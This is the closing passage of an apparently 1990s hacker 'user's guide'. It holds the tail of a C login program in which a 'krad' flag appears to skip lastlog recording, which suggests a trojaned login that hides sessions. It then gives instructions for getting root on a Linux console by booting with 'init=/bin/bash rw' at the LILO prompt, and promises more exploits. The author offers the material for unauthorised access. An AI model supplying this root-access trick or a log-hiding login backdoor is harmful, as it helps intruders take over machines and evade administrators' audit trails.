  1774.             strncpy(ll.ll_host, hostname, sizeof(ll.ll_host));
  1775.         if(krad == 0)
  1776.            (void)write(fd, (char *)&ll, sizeof(ll));
  1777.         (void)close(fd);
  1778.     }
  1779. }
  1780.  
  1781. void
  1782. badlogin(name)
  1783.     char *name;
  1784. {
  1785.     if (failures == 0)
  1786.         return;
  1787.  
  1788.     if (hostname)
  1789.         syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s",
  1790.             failures, failures > 1 ? "S" : "", hostname, name);
  1791.     else
  1792.         syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s",
  1793.             failures, failures > 1 ? "S" : "", tty, name);
  1794. }
  1795.  
  1796. #undef    UNKNOWN
  1797. #define    UNKNOWN    "su"
  1798.  
  1799. #ifndef linux
  1800. char *
  1801. stypeof(ttyid)
  1802.     char *ttyid;
  1803. {
  1804.     struct ttyent *t;
  1805.  
  1806.     return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN);
  1807. }
  1808. #endif 
  1809.  
  1810. void
  1811. checktty(user, tty)
  1812.      char *user;
  1813.      char *tty;
  1814. {
  1815.     FILE *f;
  1816.     char buf[256];
  1817.     char *ptr;
  1818.     char devname[50];
  1819.     struct stat stb;
  1820.  
  1821.     /* no /etc/usertty, default to allow access */
  1822.     if(!(f = fopen(_PATH_USERTTY, "r"))) return;
  1823.  
  1824.     while(fgets(buf, 255, f)) {
  1825.  
  1826.     /* strip comments */
  1827.     for(ptr = buf; ptr < buf + 256; ptr++) 
  1828.       if(*ptr == '#') *ptr = 0;
  1829.  
  1830.     strtok(buf, " \t");
  1831.     if(strncmp(user, buf, 8) == 0) {
  1832.         while((ptr = strtok(NULL, "\t\n "))) {
  1833.         if(strncmp(tty, ptr, 10) == 0) {
  1834.             fclose(f);
  1835.             return;
  1836.         }
  1837.         if(strcmp("PTY", ptr) == 0) {
  1838. #ifdef linux
  1839.             sprintf(devname, "/dev/%s", ptr);
  1840.             /* VERY linux dependent, recognize PTY as alias
  1841.                for all pseudo tty's */
  1842.             if((stat(devname, &stb) >= 0)
  1843.                && major(stb.st_rdev) == 4 
  1844.                && minor(stb.st_rdev) >= 192) {
  1845.             fclose(f);
  1846.             return;
  1847.             }
  1848. #endif
  1849.         }
  1850.         }
  1851.         /* if we get here, /etc/usertty exists, there's a line
  1852.            beginning with our username, but it doesn't contain the
  1853.            name of the tty where the user is trying to log in.
  1854.            So deny access! */
  1855.         fclose(f);
  1856.         printf("Login on %s denied.\n", tty);
  1857.         badlogin(user);
  1858.         sleepexit(1);
  1859.     }
  1860.     }
  1861.     fclose(f);
  1862.     /* users not mentioned in /etc/usertty are by default allowed access
  1863.        on all tty's */
  1864. }
  1865.  
  1866. void
  1867. getstr(buf, cnt, err)
  1868.     char *buf, *err;
  1869.     int cnt;
  1870. {
  1871.     char ch;
  1872.  
  1873.     do {
  1874.         if (read(0, &ch, sizeof(ch)) != sizeof(ch))
  1875.             exit(1);
  1876.         if (--cnt < 0) {
  1877.             (void)fprintf(stderr, "%s too long\r\n", err);
  1878.             sleepexit(1);
  1879.         }
  1880.         *buf++ = ch;
  1881.     } while (ch);
  1882. }
  1883.  
  1884. void
  1885. sleepexit(eval)
  1886.     int eval;
  1887. {
  1888.     sleep((unsigned int)5);
  1889.     exit(eval);
  1890. }
  1891.  
  1892.  
  1893.  
  1894.  
  1895. So if you really wanna have root access and have access to console, reboot
  1896. it (carefully, do a ctrl-alt-del) and at lilo prompt do a : 
  1897. init=/bin/bash rw (for linux 2.0.0 and above (I think)).
  1898.  
  1899. Don't wonder why I was speaking only about rootshell and dhp.com, there are
  1900. lots of other very good hacking pages, but these ones are updated very
  1901. quickly and besides, are the best pages I know.
  1902.  
  1903.  
  1904. So folks, this was it...
  1905. First version of my USER's GUIDE 1.0.
  1906. Maybe I'll do better next time, and if I have more time, I'll add about
  1907. 50(more) other exploits, remote ones, new stuff, new techniques, etc...
  1908. See ya, folks !
  1909. GOOD NIGHT !!! (it's 6.am now).
  1910. DAMN !!!
  1911.  
  1912.  
  1913. ARGHHH! I forgot... My e-mail adress is <phantom@XXXXXXXYOUWISHXXXXXXXX>.
  1914. (for now).